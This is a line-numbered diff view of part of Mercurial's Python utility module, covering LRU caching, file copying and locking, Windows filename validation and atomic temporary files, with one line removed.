1583 1583 When a node is accessed, it becomes the freshest entry in the LRU
1584 1584 list, which is denoted by self._head.
1585 1585
1586 1586 Visually, let's make ``N`` the new head node (* denotes head):
1587 1587
1588 1588 previous/oldest <-> head <-> next/next newest
1589 1589
1590 1590 ----<->--- A* ---<->-----
1591 1591 | |
1592 1592 E <-> D <-> N <-> C <-> B
1593 1593
1594 1594 To:
1595 1595
1596 1596 ----<->--- N* ---<->-----
1597 1597 | |
1598 1598 E <-> D <-> C <-> B <-> A
1599 1599
1600 1600 This requires the following moves:
1601 1601
1602 1602 C.next = D (node.prev.next = node.next)
1603 1603 D.prev = C (node.next.prev = node.prev)
1604 1604 E.next = N (head.prev.next = node)
1605 1605 N.prev = E (node.prev = head.prev)
1606 1606 N.next = A (node.next = head)
1607 1607 A.prev = N (head.prev = node)
1608 1608 """
1609 1609 head = self._head
1610 1610 # C.next = D
1611 1611 node.prev.next = node.next
1612 1612 # D.prev = C
1613 1613 node.next.prev = node.prev
1614 1614 # N.prev = E
1615 1615 node.prev = head.prev
1616 1616 # N.next = A
1617 1617 # It is tempting to do just "head" here, however if node is
1618 1618 # adjacent to head, this will do bad things.
1619 1619 node.next = head.prev.next
1620 1620 # E.next = N
1621 1621 node.next.prev = node
1622 1622 # A.prev = N
1623 1623 node.prev.next = node
1624 1624
1625 1625 self._head = node
1626 1626
1627 1627 def _addcapacity(self):
1628 1628 """Add a node to the circular linked list.
1629 1629
1630 1630 The new node is inserted before the head node.
1631 1631 """
1632 1632 head = self._head
1633 1633 node = _lrucachenode()
1634 1634 head.prev.next = node
1635 1635 node.prev = head.prev
1636 1636 node.next = head
1637 1637 head.prev = node
1638 1638 self._size += 1
1639 1639 return node
1640 1640
1641 1641 def _enforcecostlimit(self):
1642 1642 # This should run after an insertion. It should only be called if total
1643 1643 # cost limits are being enforced.
1644 1644 # The most recently inserted node is never evicted.
1645 1645 if len(self) <= 1 or self.totalcost <= self.maxcost:
1646 1646 return
1647 1647
1648 1648 # This is logically equivalent to calling popoldest() until we
1649 1649 # free up enough cost. We don't do that since popoldest() needs
1650 1650 # to walk the linked list and doing this in a loop would be
1651 1651 # quadratic. So we find the first non-empty node and then
1652 1652 # walk nodes until we free up enough capacity.
1653 1653 #
1654 1654 # If we only removed the minimum number of nodes to free enough
1655 1655 # cost at insert time, chances are high that the next insert would
1656 1656 # also require pruning. This would effectively constitute quadratic
1657 1657 # behavior for insert-heavy workloads. To mitigate this, we set a
1658 1658 # target cost that is a percentage of the max cost. This will tend
1659 1659 # to free more nodes when the high water mark is reached, which
1660 1660 # lowers the chances of needing to prune on the subsequent insert.
1661 1661 targetcost = int(self.maxcost * 0.75)
1662 1662
1663 1663 n = self._head.prev
1664 1664 while n.key is _notset:
1665 1665 n = n.prev
1666 1666
1667 1667 while len(self) > 1 and self.totalcost > targetcost:
1668 1668 del self._cache[n.key]
1669 1669 self.totalcost -= n.cost
1670 1670 n.markempty()
1671 1671 n = n.prev
1672 1672
1673 1673
1674 1674 def lrucachefunc(func):
1675 1675 '''cache most recent results of function calls'''
1676 1676 cache = {}
1677 1677 order = collections.deque()
1678 1678 if func.__code__.co_argcount == 1:
1679 1679
1680 1680 def f(arg):
1681 1681 if arg not in cache:
1682 1682 if len(cache) > 20:
1683 1683 del cache[order.popleft()]
1684 1684 cache[arg] = func(arg)
1685 1685 else:
1686 1686 order.remove(arg)
1687 1687 order.append(arg)
1688 1688 return cache[arg]
1689 1689
1690 1690 else:
1691 1691
1692 1692 def f(*args):
1693 1693 if args not in cache:
1694 1694 if len(cache) > 20:
1695 1695 del cache[order.popleft()]
1696 1696 cache[args] = func(*args)
1697 1697 else:
1698 1698 order.remove(args)
1699 1699 order.append(args)
1700 1700 return cache[args]
1701 1701
1702 1702 return f
1703 1703
1704 1704
1705 1705 class propertycache(object):
1706 1706 def __init__(self, func):
1707 1707 self.func = func
1708 1708 self.name = func.__name__
1709 1709
1710 1710 def __get__(self, obj, type=None):
1711 1711 result = self.func(obj)
1712 1712 self.cachevalue(obj, result)
1713 1713 return result
1714 1714
1715 1715 def cachevalue(self, obj, value):
1716 1716 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1717 1717 obj.__dict__[self.name] = value
1718 1718
1719 1719
1720 1720 def clearcachedproperty(obj, prop):
1721 1721 '''clear a cached property value, if one has been set'''
1722 1722 prop = pycompat.sysstr(prop)
1723 1723 if prop in obj.__dict__:
1724 1724 del obj.__dict__[prop]
1725 1725
1726 1726
1727 1727 def increasingchunks(source, min=1024, max=65536):
1728 1728 '''return no less than min bytes per chunk while data remains,
1729 1729 doubling min after each chunk until it reaches max'''
1730 1730
1731 1731 def log2(x):
1732 1732 if not x:
1733 1733 return 0
1734 1734 i = 0
1735 1735 while x:
1736 1736 x >>= 1
1737 1737 i += 1
1738 1738 return i - 1
1739 1739
1740 1740 buf = []
1741 1741 blen = 0
1742 1742 for chunk in source:
1743 1743 buf.append(chunk)
1744 1744 blen += len(chunk)
1745 1745 if blen >= min:
1746 1746 if min < max:
1747 1747 min = min << 1
1748 1748 nmin = 1 << log2(blen)
1749 1749 if nmin > min:
1750 1750 min = nmin
1751 1751 if min > max:
1752 1752 min = max
1753 1753 yield b''.join(buf)
1754 1754 blen = 0
1755 1755 buf = []
1756 1756 if buf:
1757 1757 yield b''.join(buf)
1758 1758
1759 1759
1760 1760 def always(fn):
1761 1761 return True
1762 1762
1763 1763
1764 1764 def never(fn):
1765 1765 return False
1766 1766
1767 1767
1768 1768 def nogc(func):
1769 1769 """disable garbage collector
1770 1770
1771 1771 Python's garbage collector triggers a GC each time a certain number of
1772 1772 container objects (the number being defined by gc.get_threshold()) are
1773 1773 allocated even when marked not to be tracked by the collector. Tracking has
1774 1774 no effect on when GCs are triggered, only on what objects the GC looks
1775 1775 into. As a workaround, disable GC while building complex (huge)
1776 1776 containers.
1777 1777
1778 1778 This garbage collector issue have been fixed in 2.7. But it still affect
1779 1779 CPython's performance.
1780 1780 """
1781 1781
1782 1782 def wrapper(*args, **kwargs):
1783 1783 gcenabled = gc.isenabled()
1784 1784 gc.disable()
1785 1785 try:
1786 1786 return func(*args, **kwargs)
1787 1787 finally:
1788 1788 if gcenabled:
1789 1789 gc.enable()
1790 1790
1791 1791 return wrapper
1792 1792
1793 1793
1794 1794 if pycompat.ispypy:
1795 1795 # PyPy runs slower with gc disabled
1796 1796 nogc = lambda x: x
1797 1797
1798 1798
1799 1799 def pathto(root, n1, n2):
1800 1800 '''return the relative path from one place to another.
1801 1801 root should use os.sep to separate directories
1802 1802 n1 should use os.sep to separate directories
1803 1803 n2 should use "/" to separate directories
1804 1804 returns an os.sep-separated path.
1805 1805
1806 1806 If n1 is a relative path, it's assumed it's
1807 1807 relative to root.
1808 1808 n2 should always be relative to root.
1809 1809 '''
1810 1810 if not n1:
1811 1811 return localpath(n2)
1812 1812 if os.path.isabs(n1):
1813 1813 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1814 1814 return os.path.join(root, localpath(n2))
1815 1815 n2 = b'/'.join((pconvert(root), n2))
1816 1816 a, b = splitpath(n1), n2.split(b'/')
1817 1817 a.reverse()
1818 1818 b.reverse()
1819 1819 while a and b and a[-1] == b[-1]:
1820 1820 a.pop()
1821 1821 b.pop()
1822 1822 b.reverse()
1823 1823 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1824 1824
1825 1825
1826 1826 datapath = resourceutil.datapath
1827 i18n.setdatapath(datapath)
1828 1827
1829 1828
1830 1829 def checksignature(func):
1831 1830 '''wrap a function with code to check for calling errors'''
1832 1831
1833 1832 def check(*args, **kwargs):
1834 1833 try:
1835 1834 return func(*args, **kwargs)
1836 1835 except TypeError:
1837 1836 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1838 1837 raise error.SignatureError
1839 1838 raise
1840 1839
1841 1840 return check
1842 1841
1843 1842
1844 1843 # a whilelist of known filesystems where hardlink works reliably
1845 1844 _hardlinkfswhitelist = {
1846 1845 b'apfs',
1847 1846 b'btrfs',
1848 1847 b'ext2',
1849 1848 b'ext3',
1850 1849 b'ext4',
1851 1850 b'hfs',
1852 1851 b'jfs',
1853 1852 b'NTFS',
1854 1853 b'reiserfs',
1855 1854 b'tmpfs',
1856 1855 b'ufs',
1857 1856 b'xfs',
1858 1857 b'zfs',
1859 1858 }
1860 1859
1861 1860
1862 1861 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1863 1862 '''copy a file, preserving mode and optionally other stat info like
1864 1863 atime/mtime
1865 1864
1866 1865 checkambig argument is used with filestat, and is useful only if
1867 1866 destination file is guarded by any lock (e.g. repo.lock or
1868 1867 repo.wlock).
1869 1868
1870 1869 copystat and checkambig should be exclusive.
1871 1870 '''
1872 1871 assert not (copystat and checkambig)
1873 1872 oldstat = None
1874 1873 if os.path.lexists(dest):
1875 1874 if checkambig:
1876 1875 oldstat = checkambig and filestat.frompath(dest)
1877 1876 unlink(dest)
1878 1877 if hardlink:
1879 1878 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1880 1879 # unless we are confident that dest is on a whitelisted filesystem.
1881 1880 try:
1882 1881 fstype = getfstype(os.path.dirname(dest))
1883 1882 except OSError:
1884 1883 fstype = None
1885 1884 if fstype not in _hardlinkfswhitelist:
1886 1885 hardlink = False
1887 1886 if hardlink:
1888 1887 try:
1889 1888 oslink(src, dest)
1890 1889 return
1891 1890 except (IOError, OSError):
1892 1891 pass # fall back to normal copy
1893 1892 if os.path.islink(src):
1894 1893 os.symlink(os.readlink(src), dest)
1895 1894 # copytime is ignored for symlinks, but in general copytime isn't needed
1896 1895 # for them anyway
1897 1896 else:
1898 1897 try:
1899 1898 shutil.copyfile(src, dest)
1900 1899 if copystat:
1901 1900 # copystat also copies mode
1902 1901 shutil.copystat(src, dest)
1903 1902 else:
1904 1903 shutil.copymode(src, dest)
1905 1904 if oldstat and oldstat.stat:
1906 1905 newstat = filestat.frompath(dest)
1907 1906 if newstat.isambig(oldstat):
1908 1907 # stat of copied file is ambiguous to original one
1909 1908 advanced = (
1910 1909 oldstat.stat[stat.ST_MTIME] + 1
1911 1910 ) & 0x7FFFFFFF
1912 1911 os.utime(dest, (advanced, advanced))
1913 1912 except shutil.Error as inst:
1914 1913 raise error.Abort(str(inst))
1915 1914
1916 1915
1917 1916 def copyfiles(src, dst, hardlink=None, progress=None):
1918 1917 """Copy a directory tree using hardlinks if possible."""
1919 1918 num = 0
1920 1919
1921 1920 def settopic():
1922 1921 if progress:
1923 1922 progress.topic = _(b'linking') if hardlink else _(b'copying')
1924 1923
1925 1924 if os.path.isdir(src):
1926 1925 if hardlink is None:
1927 1926 hardlink = (
1928 1927 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1929 1928 )
1930 1929 settopic()
1931 1930 os.mkdir(dst)
1932 1931 for name, kind in listdir(src):
1933 1932 srcname = os.path.join(src, name)
1934 1933 dstname = os.path.join(dst, name)
1935 1934 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1936 1935 num += n
1937 1936 else:
1938 1937 if hardlink is None:
1939 1938 hardlink = (
1940 1939 os.stat(os.path.dirname(src)).st_dev
1941 1940 == os.stat(os.path.dirname(dst)).st_dev
1942 1941 )
1943 1942 settopic()
1944 1943
1945 1944 if hardlink:
1946 1945 try:
1947 1946 oslink(src, dst)
1948 1947 except (IOError, OSError):
1949 1948 hardlink = False
1950 1949 shutil.copy(src, dst)
1951 1950 else:
1952 1951 shutil.copy(src, dst)
1953 1952 num += 1
1954 1953 if progress:
1955 1954 progress.increment()
1956 1955
1957 1956 return hardlink, num
1958 1957
1959 1958
1960 1959 _winreservednames = {
1961 1960 b'con',
1962 1961 b'prn',
1963 1962 b'aux',
1964 1963 b'nul',
1965 1964 b'com1',
1966 1965 b'com2',
1967 1966 b'com3',
1968 1967 b'com4',
1969 1968 b'com5',
1970 1969 b'com6',
1971 1970 b'com7',
1972 1971 b'com8',
1973 1972 b'com9',
1974 1973 b'lpt1',
1975 1974 b'lpt2',
1976 1975 b'lpt3',
1977 1976 b'lpt4',
1978 1977 b'lpt5',
1979 1978 b'lpt6',
1980 1979 b'lpt7',
1981 1980 b'lpt8',
1982 1981 b'lpt9',
1983 1982 }
1984 1983 _winreservedchars = b':*?"<>|'
1985 1984
1986 1985
1987 1986 def checkwinfilename(path):
1988 1987 r'''Check that the base-relative path is a valid filename on Windows.
1989 1988 Returns None if the path is ok, or a UI string describing the problem.
1990 1989
1991 1990 >>> checkwinfilename(b"just/a/normal/path")
1992 1991 >>> checkwinfilename(b"foo/bar/con.xml")
1993 1992 "filename contains 'con', which is reserved on Windows"
1994 1993 >>> checkwinfilename(b"foo/con.xml/bar")
1995 1994 "filename contains 'con', which is reserved on Windows"
1996 1995 >>> checkwinfilename(b"foo/bar/xml.con")
1997 1996 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1998 1997 "filename contains 'AUX', which is reserved on Windows"
1999 1998 >>> checkwinfilename(b"foo/bar/bla:.txt")
2000 1999 "filename contains ':', which is reserved on Windows"
2001 2000 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2002 2001 "filename contains '\\x07', which is invalid on Windows"
2003 2002 >>> checkwinfilename(b"foo/bar/bla ")
2004 2003 "filename ends with ' ', which is not allowed on Windows"
2005 2004 >>> checkwinfilename(b"../bar")
2006 2005 >>> checkwinfilename(b"foo\\")
2007 2006 "filename ends with '\\', which is invalid on Windows"
2008 2007 >>> checkwinfilename(b"foo\\/bar")
2009 2008 "directory name ends with '\\', which is invalid on Windows"
2010 2009 '''
2011 2010 if path.endswith(b'\\'):
2012 2011 return _(b"filename ends with '\\', which is invalid on Windows")
2013 2012 if b'\\/' in path:
2014 2013 return _(b"directory name ends with '\\', which is invalid on Windows")
2015 2014 for n in path.replace(b'\\', b'/').split(b'/'):
2016 2015 if not n:
2017 2016 continue
2018 2017 for c in _filenamebytestr(n):
2019 2018 if c in _winreservedchars:
2020 2019 return (
2021 2020 _(
2022 2021 b"filename contains '%s', which is reserved "
2023 2022 b"on Windows"
2024 2023 )
2025 2024 % c
2026 2025 )
2027 2026 if ord(c) <= 31:
2028 2027 return _(
2029 2028 b"filename contains '%s', which is invalid on Windows"
2030 2029 ) % stringutil.escapestr(c)
2031 2030 base = n.split(b'.')[0]
2032 2031 if base and base.lower() in _winreservednames:
2033 2032 return (
2034 2033 _(b"filename contains '%s', which is reserved on Windows")
2035 2034 % base
2036 2035 )
2037 2036 t = n[-1:]
2038 2037 if t in b'. ' and n not in b'..':
2039 2038 return (
2040 2039 _(
2041 2040 b"filename ends with '%s', which is not allowed "
2042 2041 b"on Windows"
2043 2042 )
2044 2043 % t
2045 2044 )
2046 2045
2047 2046
2048 2047 if pycompat.iswindows:
2049 2048 checkosfilename = checkwinfilename
2050 2049 timer = time.clock
2051 2050 else:
2052 2051 checkosfilename = platform.checkosfilename
2053 2052 timer = time.time
2054 2053
2055 2054 if safehasattr(time, "perf_counter"):
2056 2055 timer = time.perf_counter
2057 2056
2058 2057
2059 2058 def makelock(info, pathname):
2060 2059 """Create a lock file atomically if possible
2061 2060
2062 2061 This may leave a stale lock file if symlink isn't supported and signal
2063 2062 interrupt is enabled.
2064 2063 """
2065 2064 try:
2066 2065 return os.symlink(info, pathname)
2067 2066 except OSError as why:
2068 2067 if why.errno == errno.EEXIST:
2069 2068 raise
2070 2069 except AttributeError: # no symlink in os
2071 2070 pass
2072 2071
2073 2072 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2074 2073 ld = os.open(pathname, flags)
2075 2074 os.write(ld, info)
2076 2075 os.close(ld)
2077 2076
2078 2077
2079 2078 def readlock(pathname):
2080 2079 try:
2081 2080 return readlink(pathname)
2082 2081 except OSError as why:
2083 2082 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2084 2083 raise
2085 2084 except AttributeError: # no symlink in os
2086 2085 pass
2087 2086 with posixfile(pathname, b'rb') as fp:
2088 2087 return fp.read()
2089 2088
2090 2089
2091 2090 def fstat(fp):
2092 2091 '''stat file object that may not have fileno method.'''
2093 2092 try:
2094 2093 return os.fstat(fp.fileno())
2095 2094 except AttributeError:
2096 2095 return os.stat(fp.name)
2097 2096
2098 2097
2099 2098 # File system features
2100 2099
2101 2100
2102 2101 def fscasesensitive(path):
2103 2102 """
2104 2103 Return true if the given path is on a case-sensitive filesystem
2105 2104
2106 2105 Requires a path (like /foo/.hg) ending with a foldable final
2107 2106 directory component.
2108 2107 """
2109 2108 s1 = os.lstat(path)
2110 2109 d, b = os.path.split(path)
2111 2110 b2 = b.upper()
2112 2111 if b == b2:
2113 2112 b2 = b.lower()
2114 2113 if b == b2:
2115 2114 return True # no evidence against case sensitivity
2116 2115 p2 = os.path.join(d, b2)
2117 2116 try:
2118 2117 s2 = os.lstat(p2)
2119 2118 if s2 == s1:
2120 2119 return False
2121 2120 return True
2122 2121 except OSError:
2123 2122 return True
2124 2123
2125 2124
2126 2125 try:
2127 2126 import re2
2128 2127
2129 2128 _re2 = None
2130 2129 except ImportError:
2131 2130 _re2 = False
2132 2131
2133 2132
2134 2133 class _re(object):
2135 2134 def _checkre2(self):
2136 2135 global _re2
2137 2136 try:
2138 2137 # check if match works, see issue3964
2139 2138 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2140 2139 except ImportError:
2141 2140 _re2 = False
2142 2141
2143 2142 def compile(self, pat, flags=0):
2144 2143 '''Compile a regular expression, using re2 if possible
2145 2144
2146 2145 For best performance, use only re2-compatible regexp features. The
2147 2146 only flags from the re module that are re2-compatible are
2148 2147 IGNORECASE and MULTILINE.'''
2149 2148 if _re2 is None:
2150 2149 self._checkre2()
2151 2150 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2152 2151 if flags & remod.IGNORECASE:
2153 2152 pat = b'(?i)' + pat
2154 2153 if flags & remod.MULTILINE:
2155 2154 pat = b'(?m)' + pat
2156 2155 try:
2157 2156 return re2.compile(pat)
2158 2157 except re2.error:
2159 2158 pass
2160 2159 return remod.compile(pat, flags)
2161 2160
2162 2161 @propertycache
2163 2162 def escape(self):
2164 2163 '''Return the version of escape corresponding to self.compile.
2165 2164
2166 2165 This is imperfect because whether re2 or re is used for a particular
2167 2166 function depends on the flags, etc, but it's the best we can do.
2168 2167 '''
2169 2168 global _re2
2170 2169 if _re2 is None:
2171 2170 self._checkre2()
2172 2171 if _re2:
2173 2172 return re2.escape
2174 2173 else:
2175 2174 return remod.escape
2176 2175
2177 2176
2178 2177 re = _re()
2179 2178
2180 2179 _fspathcache = {}
2181 2180
2182 2181
2183 2182 def fspath(name, root):
2184 2183 '''Get name in the case stored in the filesystem
2185 2184
2186 2185 The name should be relative to root, and be normcase-ed for efficiency.
2187 2186
2188 2187 Note that this function is unnecessary, and should not be
2189 2188 called, for case-sensitive filesystems (simply because it's expensive).
2190 2189
2191 2190 The root should be normcase-ed, too.
2192 2191 '''
2193 2192
2194 2193 def _makefspathcacheentry(dir):
2195 2194 return dict((normcase(n), n) for n in os.listdir(dir))
2196 2195
2197 2196 seps = pycompat.ossep
2198 2197 if pycompat.osaltsep:
2199 2198 seps = seps + pycompat.osaltsep
2200 2199 # Protect backslashes. This gets silly very quickly.
2201 2200 seps.replace(b'\\', b'\\\\')
2202 2201 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2203 2202 dir = os.path.normpath(root)
2204 2203 result = []
2205 2204 for part, sep in pattern.findall(name):
2206 2205 if sep:
2207 2206 result.append(sep)
2208 2207 continue
2209 2208
2210 2209 if dir not in _fspathcache:
2211 2210 _fspathcache[dir] = _makefspathcacheentry(dir)
2212 2211 contents = _fspathcache[dir]
2213 2212
2214 2213 found = contents.get(part)
2215 2214 if not found:
2216 2215 # retry "once per directory" per "dirstate.walk" which
2217 2216 # may take place for each patches of "hg qpush", for example
2218 2217 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2219 2218 found = contents.get(part)
2220 2219
2221 2220 result.append(found or part)
2222 2221 dir = os.path.join(dir, part)
2223 2222
2224 2223 return b''.join(result)
2225 2224
2226 2225
2227 2226 def checknlink(testfile):
2228 2227 '''check whether hardlink count reporting works properly'''
2229 2228
2230 2229 # testfile may be open, so we need a separate file for checking to
2231 2230 # work around issue2543 (or testfile may get lost on Samba shares)
2232 2231 f1, f2, fp = None, None, None
2233 2232 try:
2234 2233 fd, f1 = pycompat.mkstemp(
2235 2234 prefix=b'.%s-' % os.path.basename(testfile),
2236 2235 suffix=b'1~',
2237 2236 dir=os.path.dirname(testfile),
2238 2237 )
2239 2238 os.close(fd)
2240 2239 f2 = b'%s2~' % f1[:-2]
2241 2240
2242 2241 oslink(f1, f2)
2243 2242 # nlinks() may behave differently for files on Windows shares if
2244 2243 # the file is open.
2245 2244 fp = posixfile(f2)
2246 2245 return nlinks(f2) > 1
2247 2246 except OSError:
2248 2247 return False
2249 2248 finally:
2250 2249 if fp is not None:
2251 2250 fp.close()
2252 2251 for f in (f1, f2):
2253 2252 try:
2254 2253 if f is not None:
2255 2254 os.unlink(f)
2256 2255 except OSError:
2257 2256 pass
2258 2257
2259 2258
2260 2259 def endswithsep(path):
2261 2260 '''Check path ends with os.sep or os.altsep.'''
2262 2261 return (
2263 2262 path.endswith(pycompat.ossep)
2264 2263 or pycompat.osaltsep
2265 2264 and path.endswith(pycompat.osaltsep)
2266 2265 )
2267 2266
2268 2267
2269 2268 def splitpath(path):
2270 2269 '''Split path by os.sep.
2271 2270 Note that this function does not use os.altsep because this is
2272 2271 an alternative of simple "xxx.split(os.sep)".
2273 2272 It is recommended to use os.path.normpath() before using this
2274 2273 function if need.'''
2275 2274 return path.split(pycompat.ossep)
2276 2275
2277 2276
2278 2277 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2279 2278 """Create a temporary file with the same contents from name
2280 2279
2281 2280 The permission bits are copied from the original file.
2282 2281
2283 2282 If the temporary file is going to be truncated immediately, you
2284 2283 can use emptyok=True as an optimization.
2285 2284
2286 2285 Returns the name of the temporary file.
2287 2286 """
2288 2287 d, fn = os.path.split(name)
2289 2288 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2290 2289 os.close(fd)
2291 2290 # Temporary files are created with mode 0600, which is usually not
2292 2291 # what we want. If the original file already exists, just copy
2293 2292 # its mode. Otherwise, manually obey umask.
2294 2293 copymode(name, temp, createmode, enforcewritable)
2295 2294
2296 2295 if emptyok:
2297 2296 return temp
2298 2297 try:
2299 2298 try:
2300 2299 ifp = posixfile(name, b"rb")
2301 2300 except IOError as inst:
2302 2301 if inst.errno == errno.ENOENT:
2303 2302 return temp
2304 2303 if not getattr(inst, 'filename', None):
2305 2304 inst.filename = name
2306 2305 raise
2307 2306 ofp = posixfile(temp, b"wb")
2308 2307 for chunk in filechunkiter(ifp):
2309 2308 ofp.write(chunk)
2310 2309 ifp.close()
2311 2310 ofp.close()
2312 2311 except: # re-raises
2313 2312 try:
2314 2313 os.unlink(temp)
2315 2314 except OSError:
2316 2315 pass
2317 2316 raise
2318 2317 return temp
2319 2318
2320 2319
2321 2320 class filestat(object):
2322 2321 """help to exactly detect change of a file
2323 2322
2324 2323 'stat' attribute is result of 'os.stat()' if specified 'path'
2325 2324 exists. Otherwise, it is None. This can avoid preparative
2326 2325 'exists()' examination on client side of this class.
2327 2326 """
2328 2327
2329 2328 def __init__(self, stat):
2330 2329 self.stat = stat
2331 2330
2332 2331 @classmethod
2333 2332 def frompath(cls, path):
2334 2333 try:
2335 2334 stat = os.stat(path)
2336 2335 except OSError as err:
2337 2336 if err.errno != errno.ENOENT:
2338 2337 raise
2339 2338 stat = None
2340 2339 return cls(stat)
2341 2340
2342 2341 @classmethod
2343 2342 def fromfp(cls, fp):
2344 2343 stat = os.fstat(fp.fileno())
2345 2344 return cls(stat)
2346 2345
2347 2346 __hash__ = object.__hash__
2348 2347
2349 2348 def __eq__(self, old):
2350 2349 try:
2351 2350 # if ambiguity between stat of new and old file is
2352 2351 # avoided, comparison of size, ctime and mtime is enough
2353 2352 # to exactly detect change of a file regardless of platform
2354 2353 return (
2355 2354 self.stat.st_size == old.stat.st_size
2356 2355 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2357 2356 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2358 2357 )
2359 2358 except AttributeError:
2360 2359 pass
2361 2360 try:
2362 2361 return self.stat is None and old.stat is None
2363 2362 except AttributeError:
2364 2363 return False
2365 2364
2366 2365 def isambig(self, old):
2367 2366 """Examine whether new (= self) stat is ambiguous against old one
2368 2367
2369 2368 "S[N]" below means stat of a file at N-th change:
2370 2369
2371 2370 - S[n-1].ctime < S[n].ctime: can detect change of a file
2372 2371 - S[n-1].ctime == S[n].ctime
2373 2372 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2374 2373 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2375 2374 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2376 2375 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2377 2376
2378 2377 Case (*2) above means that a file was changed twice or more at
2379 2378 same time in sec (= S[n-1].ctime), and comparison of timestamp
2380 2379 is ambiguous.
2381 2380
2382 2381 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2383 2382 timestamp is ambiguous".
2384 2383
2385 2384 But advancing mtime only in case (*2) doesn't work as
2386 2385 expected, because naturally advanced S[n].mtime in case (*1)
2387 2386 might be equal to manually advanced S[n-1 or earlier].mtime.
2388 2387
2389 2388 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2390 2389 treated as ambiguous regardless of mtime, to avoid overlooking
2391 2390 by confliction between such mtime.
2392 2391
2393 2392 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2394 2393 S[n].mtime", even if size of a file isn't changed.
2395 2394 """
2396 2395 try:
2397 2396 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2398 2397 except AttributeError:
2399 2398 return False
2400 2399
2401 2400 def avoidambig(self, path, old):
2402 2401 """Change file stat of specified path to avoid ambiguity
2403 2402
2404 2403 'old' should be previous filestat of 'path'.
2405 2404
2406 2405 This skips avoiding ambiguity, if a process doesn't have
2407 2406 appropriate privileges for 'path'. This returns False in this
2408 2407 case.
2409 2408
2410 2409 Otherwise, this returns True, as "ambiguity is avoided".
2411 2410 """
2412 2411 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2413 2412 try:
2414 2413 os.utime(path, (advanced, advanced))
2415 2414 except OSError as inst:
2416 2415 if inst.errno == errno.EPERM:
2417 2416 # utime() on the file created by another user causes EPERM,
2418 2417 # if a process doesn't have appropriate privileges
2419 2418 return False
2420 2419 raise
2421 2420 return True
2422 2421
2423 2422 def __ne__(self, other):
2424 2423 return not self == other
2425 2424
2426 2425
2427 2426 class atomictempfile(object):
2428 2427 '''writable file object that atomically updates a file
2429 2428
2430 2429 All writes will go to a temporary copy of the original file. Call
2431 2430 close() when you are done writing, and atomictempfile will rename
2432 2431 the temporary copy to the original name, making the changes
2433 2432 visible. If the object is destroyed without being closed, all your
2434 2433 writes are discarded.
2435 2434
2436 2435 checkambig argument of constructor is used with filestat, and is
2437 2436 useful only if target file is guarded by any lock (e.g. repo.lock
2438 2437 or repo.wlock).
2439 2438 '''
2440 2439
2441 2440 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2442 2441 self.__name = name # permanent name
2443 2442 self._tempname = mktempcopy(
2444 2443 name,
2445 2444 emptyok=(b'w' in mode),
2446 2445 createmode=createmode,
2447 2446 enforcewritable=(b'w' in mode),
2448 2447 )
2449 2448
2450 2449 self._fp = posixfile(self._tempname, mode)
2451 2450 self._checkambig = checkambig
2452 2451
2453 2452 # delegated methods
2454 2453 self.read = self._fp.read
2455 2454 self.write = self._fp.write
2456 2455 self.seek = self._fp.seek
2457 2456 self.tell = self._fp.tell
2458 2457 self.fileno = self._fp.fileno
2459 2458
2460 2459 def close(self):
2461 2460 if not self._fp.closed:
2462 2461 self._fp.close()
2463 2462 filename = localpath(self.__name)
2464 2463 oldstat = self._checkambig and filestat.frompath(filename)
2465 2464 if oldstat and oldstat.stat:
2466 2465 rename(self._tempname, filename)
2467 2466 newstat = filestat.frompath(filename)
2468 2467 if newstat.isambig(oldstat):
2469 2468 # stat of changed file is ambiguous to original one
2470 2469 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2471 2470 os.utime(filename, (advanced, advanced))
2472 2471 else:
2473 2472 rename(self._tempname, filename)
2474 2473
2475 2474 def discard(self):
2476 2475 if not self._fp.closed:
2477 2476 try:
2478 2477 os.unlink(self._tempname)
2479 2478 except OSError:
2480 2479 pass
2481 2480 self._fp.close()
2482 2481
2483 2482 def __del__(self):
2484 2483 if safehasattr(self, '_fp'): # constructor actually did something
2485 2484 self.discard()
2486 2485
2487 2486 def __enter__(self):
2488 2487 return self
2489 2488
2490 2489 def __exit__(self, exctype, excvalue, traceback):
2491 2490 if exctype is not None:
2492 2491 self.discard()
2493 2492 else:
2494 2493 self.close()
2495 2494
2496 2495
2497 2496 def unlinkpath(f, ignoremissing=False, rmdir=True):
2498 2497 """unlink and remove the directory if it is empty"""
2499 2498 if ignoremissing:
2500 2499 tryunlink(f)
2501 2500 else:
2502 2501 unlink(f)
2503 2502 if rmdir:
2504 2503 # try removing directories that might now be empty
2505 2504 try:
2506 2505 removedirs(os.path.dirname(f))
2507 2506 except OSError:
2508 2507 pass
2509 2508
2510 2509
2511 2510 def tryunlink(f):
2512 2511 """Attempt to remove a file, ignoring ENOENT errors."""
2513 2512 try:
